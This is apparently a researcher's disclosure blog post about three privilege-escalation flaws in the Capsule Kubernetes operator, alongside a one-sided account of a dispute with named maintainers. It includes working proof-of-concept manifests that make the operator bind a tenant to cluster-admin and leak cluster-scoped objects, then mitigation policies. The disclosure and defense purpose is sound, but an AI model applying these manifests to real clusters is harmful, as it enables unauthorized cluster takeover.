← all posts
kubernetes CVE-2026-65835

"Delusional": how Capsule's developers failed to triage two cluster-admin escalations

tl;dr

A namespace-scoped user could grant itself cluster-admin on a default Capsule install, two different ways, plus read fields of any cluster-scoped object a third way. The developers’ first reply was “prompt better.” The last was “Delusional. You are being blocked from any further reporting.” Seven versions later they shipped a patch for the two critical bugs, citing a GHSA filed much later, and rated a cluster takeover Moderate. The third finding is still unpatched as of today.

01

On the Capsule operator

A Kubernetes operator is a custom controller. You create an object, the operator sees it and does privileged work to make the cluster match. Capsule does multi-tenancy: a cluster admin carves a shared cluster into tenants, each tenant owns a set of namespaces, and teams share hardware without seeing each other’s workloads.

TenantResource is the object that allows all three bugs. A tenant creates it in one namespace, to replicate resources across the other ns they own.

02

The dispute, briefly

TLDR of the crits: namespaced user creates object TenantResource, which can make operator create cluster role binding to “cluster admin” to this user. Or any user. Or absolutely any other cluster resource. Yep. That bad.

The developers who I had the “pleasure” of dealing with are Oliver Bähler (oliverbaehler) and Dario Tranchitella (prometherion).

Oliver at first dismissed report with “Please prompt better.”

Then Dario replicated the bug and said the real issue was that I was “not using the required option to avoid such a misbehavior.” The option is spec.serviceAccount on the TenantResource. But the attacker writes the malicious TenantResource; telling the attacker they should have set the safe field on their own attack object is telling someone their SQL injection vulnerability does not count because the attacker should have chosen not to put a quote in the input.

I pointed out that this is a known vulnerability type for Kubernetes operators, and in fact, a very similar vulnerability was already reported to capsule: https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72. The same create TenantResource = create ClusterRoleBinding vector. And so that vulnerability was still effectively unfixed, as I demonstrated.

Final response from Oliver: “Okay so you rereport a CVE which is already known? Delusional. You are being blocked from any further reporting.”

So, Capsule’s developers apparently do not understand the concept of an “incomplete fix.”

The screenshots with full GHSA threads: GHSA-284c-vrj3-w276 GHSA-wxv6-xvjm-295x GHSA-wp9j-g6pq-8rp8

03

Vulnerability

TenantResource has three fields a tenant controls that the operator acts on with its own privileges:

The first two are cluster-admin escalations. The third is a cluster-scoped read primitive.

04

PoC

Cluster preparation (kind cluster, Capsule, tenant onboarding)
kind create cluster --image kindest/node:v1.31.0 --name capsule-poc --kubeconfig ./kubeconfig
export KUBECONFIG=$PWD/kubeconfig

helm upgrade --install capsule oci://ghcr.io/projectcapsule/charts/capsule \
  --version 0.13.1 \
  --namespace capsule-system --create-namespace \
  --set manager.image.tag=v0.13.1 \
  --set certManager.generateCertificates=false \
  --set tls.create=true --set tls.enableController=true \
  --wait
kubectl -n capsule-system rollout status deploy/capsule-controller-manager --timeout=120s

# admin onboards a tenant whose owner is the ServiceAccount tenant-bootstrap:alice
kubectl create ns tenant-bootstrap
kubectl -n tenant-bootstrap create sa alice
kubectl apply -f - <<'EOF'
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata: { name: alice }
spec:
  owners:
  - kind: ServiceAccount
    name: system:serviceaccount:tenant-bootstrap:alice
---
apiVersion: capsule.clastix.io/v1beta2
kind: TenantOwner
metadata: { name: alice-sa }
spec:
  kind: ServiceAccount
  name: system:serviceaccount:tenant-bootstrap:alice
  aggregate: true
EOF

# mint alice's token and a kubeconfig that carries only that identity
SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}')
TOKEN=$(kubectl -n tenant-bootstrap create token alice --duration=24h)
cat > kubeconfig-alice <<EOF
apiVersion: v1
kind: Config
clusters: [{name: kind, cluster: {server: ${SERVER}, certificate-authority-data: ${CA}}}]
contexts: [{name: alice, context: {cluster: kind, user: alice, namespace: alice-ns}}]
current-context: alice
users: [{name: alice, user: {token: ${TOKEN}}}]
EOF

# alice creates her own namespace; Capsule's webhook attaches the tenant label
kubectl --kubeconfig=./kubeconfig-alice create namespace alice-ns

# and create on TenantResource in her namespace
kubectl -n alice-ns create role alice-tr --verb=create,get,list --resource=tenantresources.capsule.clastix.io
kubectl -n alice-ns create rolebinding alice-tr --role=alice-tr --serviceaccount=tenant-bootstrap:alice

From here, --kubeconfig=./kubeconfig-alice is alice, the tenant in this demo. Inside alice-ns she holds create on TenantResource.

1. rawItems: apply a ClusterRoleBinding. Alice submits a TenantResource whose rawItems[] holds a literal ClusterRoleBinding binding her ServiceAccount to cluster-admin.

kubectl --kubeconfig=./kubeconfig-alice apply -f - <<'EOF'
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata: { name: f1, namespace: alice-ns }
spec:
  resyncPeriod: 10s
  resources:
  - rawItems:
    - apiVersion: rbac.authorization.k8s.io/v1
      kind: ClusterRoleBinding
      metadata: { name: pwn-alice-cluster-admin }
      subjects:
      - kind: ServiceAccount
        name: alice
        namespace: tenant-bootstrap
      roleRef:
        apiGroup: rbac.authorization.k8s.io
        kind: ClusterRole
        name: cluster-admin
EOF

Wait one resync, then check what alice can do:

kubectl --kubeconfig=./kubeconfig-alice auth can-i get secrets -n kube-system
# yes

Easy peasy.

2. generators: render the same binding from a template. The generators path is the second door. The operator evaluates a Go template with the Sprig function map mounted, so alice uses a random suffix to dodge the operator’s adoption check on pre-existing objects.

kubectl --kubeconfig=./kubeconfig-alice apply -f - <<'EOF'
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata: { name: f1b-crb, namespace: alice-ns }
spec:
  resyncPeriod: 10s
  resources:
  - generators:
    - missingKey: zero
      template: |
        ---
        apiVersion: rbac.authorization.k8s.io/v1
        kind: ClusterRoleBinding
        metadata:
          name: f1b-alice-clusteradmin-{{ randAlphaNum 8 | lower }}
        roleRef:
          apiGroup: rbac.authorization.k8s.io
          kind: ClusterRole
          name: cluster-admin
        subjects:
        - kind: ServiceAccount
          name: alice
          namespace: tenant-bootstrap
EOF

Same result. status.processedItems lists the rendered ClusterRoleBinding, and alice’s kube-system read works.

3. context: read a cluster-scoped object’s values. The third vulnerability is nothing in comparison, but it is still there. The context.resources[] names objects the operator fetches so the template can use them. Name a cluster-scoped object alice cannot read, and the operator reads it for her, then writes the result into a ConfigMap in her own namespace.

Stage a resource as admin to exfiltrate later as alice:

kubectl apply -f - <<'EOF'
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata: { name: f1c-witness-clusterrole }
rules:
- apiGroups: [""]
  resources: ["F1C-WITNESS-CLUSTER-SECRET-MATERIAL"]
  verbs: ["get"]
EOF

Alice pulls it into her namespace:

kubectl --kubeconfig=./kubeconfig-alice apply -f - <<'EOF'
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata: { name: f1c, namespace: alice-ns }
spec:
  resyncPeriod: 10s
  resources:
  - generators:
    - missingKey: zero
      template: |
        ---
        apiVersion: v1
        kind: ConfigMap
        metadata: { name: f1c-leak, namespace: alice-ns }
        data:
          clusterrole-rules: |-
            {{- range $r := (index .clusterrole 0).rules }}
            {{ $r }}
            {{- end }}
    context:
      resources:
      - apiVersion: rbac.authorization.k8s.io/v1
        kind: ClusterRole
        name: f1c-witness-clusterrole
        index: clusterrole
EOF

kubectl --kubeconfig=./kubeconfig-alice -n alice-ns get configmap f1c-leak -o yaml
# data.clusterrole-rules contains F1C-WITNESS-CLUSTER-SECRET-MATERIAL
05

Mitigation

Delete Capsule. Really.

But if you absolutely have to keep it, do two things.

Upgrade to v0.13.8 or later - that closes the two escalation paths (rawItems, generators). To fix the third issue: decide whether tenants need TenantResource at all. If they do not, block its creation outright at admission:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-tenantresource
spec:
  validationFailureAction: Enforce
  background: false
  rules:
  - name: no-tenantresource
    match:
      any:
      - resources:
          kinds:
          - capsule.clastix.io/*/TenantResource
    validate:
      message: "TenantResource is disabled on this cluster"
      deny: {}

If tenants do need TenantResource, validate only namespaced resources are allowed to be used:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: tenantresource-allowlist
spec:
  validationFailureAction: Enforce
  background: false
  rules:
  - name: allowlist-namespaced-kinds
    match:
      any:
      - resources:
          kinds:
          - capsule.clastix.io/*/TenantResource
    validate:
      message: "TenantResource may only reference an allowlisted namespaced kind"
      foreach:
      - list: "request.object.spec.resources[]"
        foreach:
        - list: "element.rawItems[]"
          deny:
            conditions:
              all:
              - key: "{{ element.kind }}"
                operator: AnyNotIn
                value: [ConfigMap, Secret, Service, Deployment, StatefulSet, DaemonSet, Ingress, NetworkPolicy, ResourceQuota, LimitRange, ServiceAccount, Role, RoleBinding, PersistentVolumeClaim, Job, CronJob, Pod]
        - list: "element.context.resources[]"
          deny:
            conditions:
              all:
              - key: "{{ element.kind }}"
                operator: AnyNotIn
                value: [ConfigMap, Secret, Service, Deployment, StatefulSet, DaemonSet, Ingress, NetworkPolicy, ResourceQuota, LimitRange, ServiceAccount, Role, RoleBinding, PersistentVolumeClaim, Job, CronJob, Pod]